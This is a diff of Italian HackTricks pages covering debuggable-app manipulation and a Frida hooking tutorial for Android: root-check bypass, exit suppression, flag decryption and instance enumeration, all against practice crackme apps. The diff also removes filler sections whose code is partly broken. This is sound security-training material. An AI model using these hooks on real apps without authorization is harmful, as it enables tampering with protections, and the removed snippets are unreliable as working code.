- Un breakpoint è stato impostato nel metodo `onClick`, e la sua esecuzione è stata controllata.
|
||||||
- Sono stati utilizzati i comandi `locals`, `next` e `set` per ispezionare e modificare le variabili locali, in particolare cambiando il messaggio "Try Again" in "Hacked".
|
- I comandi `locals`, `next` e `set` sono stati utilizzati per ispezionare e modificare le variabili locali, in particolare cambiando il messaggio "Try Again" in "Hacked".
|
||||||
- Il codice modificato è stato eseguito utilizzando il comando `run`, modificando con successo l'output dell'applicazione in tempo reale.
|
- Il codice modificato è stato eseguito utilizzando il comando `run`, alterando con successo l'output dell'applicazione in tempo reale.
|
||||||
|
|
||||||
Questo esempio ha dimostrato come il comportamento di un'applicazione debuggabile possa essere manipolato, evidenziando il potenziale per exploit più complessi come l'accesso alla shell sul dispositivo nel contesto dell'applicazione.
|
Questo esempio ha dimostrato come il comportamento di un'applicazione debuggable possa essere manipolato, evidenziando il potenziale per sfruttamenti più complessi come ottenere accesso shell sul dispositivo nel contesto dell'applicazione.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security
|
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,35 @@
|
||||||
# Tutorial su Frida
|
# Frida Tutorial
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Consiglio per bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi stesso e inizia a guadagnare ricompense fino a **$100,000**!
|
**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
## Installazione
|
## Installazione
|
||||||
|
|
||||||
Installa gli **strumenti di Frida**:
|
Installa **frida tools**:
|
||||||
```bash
|
```bash
|
||||||
pip install frida-tools
|
pip install frida-tools
|
||||||
pip install frida
|
pip install frida
|
||||||
```
|
```
|
||||||
**Scarica e installa** nel dispositivo Android il **server frida** ([Scarica l'ultima versione](https://github.com/frida/frida/releases)).\
|
**Scarica e installa** nel android il **frida server** ([Scarica l'ultima versione](https://github.com/frida/frida/releases)).\
|
||||||
One-liner per riavviare adb in modalità root, connettersi ad esso, caricare frida-server, concedere i permessi di esecuzione e avviarlo in background:
|
Comando per riavviare adb in modalità root, connettersi ad esso, caricare frida-server, dare permessi di esecuzione e farlo girare in background:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -36,38 +37,38 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**Verifica** se **funziona**:
|
**Controlla** se sta **funzionando**:
|
||||||
```bash
|
```bash
|
||||||
frida-ps -U #List packages and processes
|
frida-ps -U #List packages and processes
|
||||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||||
```
|
```
|
||||||
## Tutorial
|
## Tutorials
|
||||||
|
|
||||||
### [Tutorial 1](frida-tutorial-1.md)
|
### [Tutorial 1](frida-tutorial-1.md)
|
||||||
|
|
||||||
**Da**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||||
**Codice sorgente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||||
|
|
||||||
**Segui il [link per leggerlo](frida-tutorial-1.md).**
|
**Follow the [link to read it](frida-tutorial-1.md).**
|
||||||
|
|
||||||
### [Tutorial 2](frida-tutorial-2.md)
|
### [Tutorial 2](frida-tutorial-2.md)
|
||||||
|
|
||||||
**Da**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parti 2, 3 e 4)\
|
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
|
||||||
**APK e codice sorgente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||||
|
|
||||||
**Segui il [link per leggerlo](frida-tutorial-2.md).**
|
**Follow the[ link to read it.](frida-tutorial-2.md)**
|
||||||
|
|
||||||
### [Tutorial 3](owaspuncrackable-1.md)
|
### [Tutorial 3](owaspuncrackable-1.md)
|
||||||
|
|
||||||
**Da**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||||
|
|
||||||
**Segui il [link per leggerlo](owaspuncrackable-1.md).**
|
**Follow the [link to read it](owaspuncrackable-1.md).**
|
||||||
|
|
||||||
**Puoi trovare altri script Frida fantastici qui:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||||
|
|
||||||
## Esempi rapidi
|
## Quick Examples
|
||||||
|
|
||||||
### Chiamare Frida dalla riga di comando
|
### Chiamare Frida dalla riga di comando
|
||||||
```bash
|
```bash
|
||||||
|
@ -82,89 +83,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
||||||
#frozen so that the instrumentation can occur, and the automatically
|
#frozen so that the instrumentation can occur, and the automatically
|
||||||
#continue execution with our modified code.
|
#continue execution with our modified code.
|
||||||
```
|
```
|
||||||
### Script Python di base
|
### Script Python di Base
|
||||||
|
|
||||||
```python
|
|
||||||
import frida
|
|
||||||
|
|
||||||
# Attach to the target process
|
|
||||||
session = frida.attach("com.example.app")
|
|
||||||
|
|
||||||
# Define the JavaScript code to be injected
|
|
||||||
js_code = """
|
|
||||||
Java.perform(function () {
|
|
||||||
// Intercept the target method
|
|
||||||
var targetClass = Java.use("com.example.app.TargetClass");
|
|
||||||
targetClass.targetMethod.implementation = function () {
|
|
||||||
// Print the arguments passed to the method
|
|
||||||
console.log("Arguments: " + Array.prototype.slice.call(arguments));
|
|
||||||
|
|
||||||
// Call the original method
|
|
||||||
var result = this.targetMethod.apply(this, arguments);
|
|
||||||
|
|
||||||
// Print the result
|
|
||||||
console.log("Result: " + result);
|
|
||||||
|
|
||||||
// Modify the result if needed
|
|
||||||
result += 1;
|
|
||||||
|
|
||||||
// Return the modified result
|
|
||||||
return result;
|
|
||||||
};
|
|
||||||
});
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Create the script
|
|
||||||
script = session.create_script(js_code)
|
|
||||||
|
|
||||||
# Load the script into the target process
|
|
||||||
script.load()
|
|
||||||
|
|
||||||
# Detach from the target process
|
|
||||||
session.detach()
|
|
||||||
```
|
|
||||||
|
|
||||||
### Script Python di base
|
|
||||||
|
|
||||||
```python
|
|
||||||
import frida
|
|
||||||
|
|
||||||
# Collegarsi al processo di destinazione
|
|
||||||
session = frida.attach("com.example.app")
|
|
||||||
|
|
||||||
# Definire il codice JavaScript da iniettare
|
|
||||||
js_code = """
|
|
||||||
Java.perform(function () {
|
|
||||||
// Interrompere il metodo di destinazione
|
|
||||||
var targetClass = Java.use("com.example.app.TargetClass");
|
|
||||||
targetClass.targetMethod.implementation = function () {
|
|
||||||
// Stampare gli argomenti passati al metodo
|
|
||||||
console.log("Argomenti: " + Array.prototype.slice.call(arguments));
|
|
||||||
|
|
||||||
// Chiamare il metodo originale
|
|
||||||
var result = this.targetMethod.apply(this, arguments);
|
|
||||||
|
|
||||||
// Stampare il risultato
|
|
||||||
console.log("Risultato: " + result);
|
|
||||||
|
|
||||||
// Modificare il risultato se necessario
|
|
||||||
result += 1;
|
|
||||||
|
|
||||||
// Restituire il risultato modificato
|
|
||||||
return result;
|
|
||||||
};
|
|
||||||
});
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Creare lo script
|
|
||||||
script = session.create_script(js_code)
|
|
||||||
|
|
||||||
# Caricare lo script nel processo di destinazione
|
|
||||||
script.load()
|
|
||||||
|
|
||||||
# Scollegarsi dal processo di destinazione
|
|
||||||
session.detach()
|
|
||||||
```
|
|
||||||
```python
|
```python
|
||||||
import frida, sys
|
import frida, sys
|
||||||
|
|
||||||
|
@ -175,7 +94,7 @@ print('[ * ] Running Frida Demo application')
|
||||||
script.load()
|
script.load()
|
||||||
sys.stdin.read()
|
sys.stdin.read()
|
||||||
```
|
```
|
||||||
### Hooking delle funzioni senza parametri
|
### Hooking functions without parameters
|
||||||
|
|
||||||
Hook la funzione `a()` della classe `sg.vantagepoint.a.c`
|
Hook la funzione `a()` della classe `sg.vantagepoint.a.c`
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -187,114 +106,14 @@ return false;
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
# Hook java `exit()`
|
Hook java `exit()`
|
||||||
|
|
||||||
## Introduction
|
|
||||||
|
|
||||||
In this tutorial, we will learn how to hook the `exit()` method in a Java application using Frida. By hooking this method, we can intercept the application's exit calls and perform additional actions before the application terminates.
|
|
||||||
|
|
||||||
## Prerequisites
|
|
||||||
|
|
||||||
Before we begin, make sure you have the following:
|
|
||||||
|
|
||||||
- A rooted Android device or an emulator
|
|
||||||
- Frida installed on your machine
|
|
||||||
- Basic knowledge of JavaScript and Java
|
|
||||||
|
|
||||||
## Steps
|
|
||||||
|
|
||||||
1. Start by creating a new JavaScript file, for example `hook_exit.js`, and open it in a text editor.
|
|
||||||
|
|
||||||
2. Import the necessary Frida modules:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
const { Java } = require('frida');
|
|
||||||
```
|
|
||||||
|
|
||||||
3. Attach to the target process:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
const process = Java.use('java.lang.Runtime').getRuntime().exec.overload('java.lang.String').implementation;
|
|
||||||
```
|
|
||||||
|
|
||||||
4. Define the hook function:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
function hookExit() {
|
|
||||||
console.log('Exit method called');
|
|
||||||
// Perform additional actions here
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
5. Hook the `exit()` method:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
Java.use('java.lang.Runtime').exit.implementation = function() {
|
|
||||||
hookExit();
|
|
||||||
this.exit();
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
6. Save the JavaScript file.
|
|
||||||
|
|
||||||
7. Launch the target application on your Android device or emulator.
|
|
||||||
|
|
||||||
8. Open a terminal and navigate to the directory where the JavaScript file is located.
|
|
||||||
|
|
||||||
9. Use Frida to inject the JavaScript code into the target process:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
frida -U -l hook_exit.js -f <package_name>
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<package_name>` with the package name of the target application.
|
|
||||||
|
|
||||||
10. You should see the message "Exit method called" in the terminal whenever the `exit()` method is invoked in the target application.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
By hooking the `exit()` method in a Java application using Frida, we can intercept the application's exit calls and perform additional actions. This technique can be useful for various purposes, such as debugging or analyzing the behavior of an application before it terminates.
|
|
||||||
```javascript
|
```javascript
|
||||||
var sysexit = Java.use("java.lang.System");
|
var sysexit = Java.use("java.lang.System");
|
||||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
# Hook MainActivity `.onStart()` & `.onCreate()`
|
Hook MainActivity `.onStart()` & `.onCreate()`
|
||||||
|
|
||||||
To hook the `.onStart()` and `.onCreate()` methods of the MainActivity class in an Android app, you can use the Frida framework. Frida allows you to dynamically inject JavaScript code into the app's runtime and intercept method calls.
|
|
||||||
|
|
||||||
Here's an example of how to hook these methods using Frida:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
Java.perform(function() {
|
|
||||||
var MainActivity = Java.use('com.example.MainActivity');
|
|
||||||
|
|
||||||
MainActivity.onStart.implementation = function() {
|
|
||||||
console.log('Hooked MainActivity.onStart()');
|
|
||||||
// Your custom code here
|
|
||||||
|
|
||||||
// Call the original method
|
|
||||||
this.onStart();
|
|
||||||
};
|
|
||||||
|
|
||||||
MainActivity.onCreate.implementation = function() {
|
|
||||||
console.log('Hooked MainActivity.onCreate()');
|
|
||||||
// Your custom code here
|
|
||||||
|
|
||||||
// Call the original method
|
|
||||||
this.onCreate();
|
|
||||||
};
|
|
||||||
});
|
|
||||||
```
|
|
||||||
|
|
||||||
In the above code, we first use `Java.use()` to get a reference to the MainActivity class. Then, we override the `.onStart()` and `.onCreate()` methods using `.implementation`. Inside the overridden methods, you can add your custom code to be executed when these methods are called. Finally, we call the original methods using `this.onStart()` and `this.onCreate()`.
|
|
||||||
|
|
||||||
Remember to replace `'com.example.MainActivity'` with the actual package and class name of the MainActivity in the app you are testing.
|
|
||||||
|
|
||||||
By hooking these methods, you can intercept their execution and perform actions such as logging, modifying parameters, or even bypassing certain checks. This can be useful for analyzing the behavior of the app and identifying potential vulnerabilities.
|
|
||||||
|
|
||||||
Note: Make sure you have the necessary permissions and legal authorization before performing any app penetration testing.
|
|
||||||
```javascript
|
```javascript
|
||||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||||
mainactivity.onStart.overload().implementation = function() {
|
mainactivity.onStart.overload().implementation = function() {
|
||||||
|
@ -306,32 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
|
||||||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
# Hook android `.onCreate()`
|
Hook android `.onCreate()`
|
||||||
|
|
||||||
Per intercettare il metodo `.onCreate()` di un'applicazione Android, possiamo utilizzare Frida. Questo ci permette di eseguire del codice personalizzato prima o dopo l'esecuzione del metodo `.onCreate()` dell'app.
|
|
||||||
|
|
||||||
Ecco un esempio di come fare ciò utilizzando Frida:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
Java.perform(function() {
|
|
||||||
var MainActivity = Java.use('com.example.MainActivity');
|
|
||||||
|
|
||||||
MainActivity.onCreate.implementation = function() {
|
|
||||||
// Codice personalizzato da eseguire prima dell'esecuzione di .onCreate()
|
|
||||||
console.log('Metodo .onCreate() intercettato!');
|
|
||||||
|
|
||||||
// Chiamata al metodo originale .onCreate()
|
|
||||||
this.onCreate();
|
|
||||||
|
|
||||||
// Codice personalizzato da eseguire dopo l'esecuzione di .onCreate()
|
|
||||||
console.log('Metodo .onCreate() completato!');
|
|
||||||
};
|
|
||||||
});
|
|
||||||
```
|
|
||||||
|
|
||||||
In questo esempio, stiamo intercettando il metodo `.onCreate()` della classe `MainActivity` dell'applicazione Android. Prima dell'esecuzione del metodo originale, stiamo stampando un messaggio di log. Successivamente, chiamiamo il metodo originale `.onCreate()` e, infine, stampiamo un altro messaggio di log dopo l'esecuzione del metodo.
|
|
||||||
|
|
||||||
Ricorda che per utilizzare Frida, devi avere un dispositivo Android rootato o un emulatore con Frida Server installato.
|
|
||||||
```javascript
|
```javascript
|
||||||
var activity = Java.use("android.app.Activity");
|
var activity = Java.use("android.app.Activity");
|
||||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||||
|
@ -339,9 +133,9 @@ send("Activity HIT!!!");
|
||||||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### Hooking delle funzioni con parametri e recupero del valore
|
### Hooking functions with parameters and retrieving the value
|
||||||
|
|
||||||
Hooking di una funzione di decrittografia. Stampa l'input, chiama la funzione originale per decrittare l'input e infine, stampa i dati in chiaro:
|
Hooking una funzione di decrittazione. Stampa l'input, chiama la funzione originale per decrittare l'input e infine, stampa i dati in chiaro:
|
||||||
```javascript
|
```javascript
|
||||||
function getString(data){
|
function getString(data){
|
||||||
var ret = "";
|
var ret = "";
|
||||||
|
@ -366,9 +160,9 @@ send("Decrypted flag: " + flag);
|
||||||
return ret; //[B
|
return ret; //[B
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### Hooking delle funzioni e chiamarle con il nostro input
|
### Hooking functions and calling them with our input
|
||||||
|
|
||||||
Hook una funzione che riceve una stringa e chiamala con un'altra stringa (da [qui](https://11x256.github.io/Frida-hooking-android-part-2/))
|
Collegare una funzione che riceve una stringa e chiamarla con un'altra stringa (da [qui](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||||
```javascript
|
```javascript
|
||||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||||
|
|
||||||
|
@ -382,7 +176,7 @@ return ret;
|
||||||
```
|
```
|
||||||
### Ottenere un oggetto già creato di una classe
|
### Ottenere un oggetto già creato di una classe
|
||||||
|
|
||||||
Se si desidera estrarre un attributo di un oggetto creato, è possibile utilizzare questo metodo.
|
Se vuoi estrarre un attributo di un oggetto creato, puoi usare questo.
|
||||||
|
|
||||||
In questo esempio vedrai come ottenere l'oggetto della classe my\_activity e come chiamare la funzione .secret() che stamperà un attributo privato dell'oggetto:
|
In questo esempio vedrai come ottenere l'oggetto della classe my\_activity e come chiamare la funzione .secret() che stamperà un attributo privato dell'oggetto:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -394,7 +188,7 @@ console.log("Result of secret func: " + instance.secret());
|
||||||
onComplete:function(){}
|
onComplete:function(){}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
## Altri tutorial su Frida
|
## Altri tutorial Frida
|
||||||
|
|
||||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||||
* [Parte 1 della serie di blog sull'uso avanzato di Frida: Librerie di crittografia IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
* [Parte 1 della serie di blog sull'uso avanzato di Frida: Librerie di crittografia IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||||
|
@ -403,20 +197,21 @@ onComplete:function(){}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi stesso e inizia a guadagnare ricompense fino a **$100,000**!
|
**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,33 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
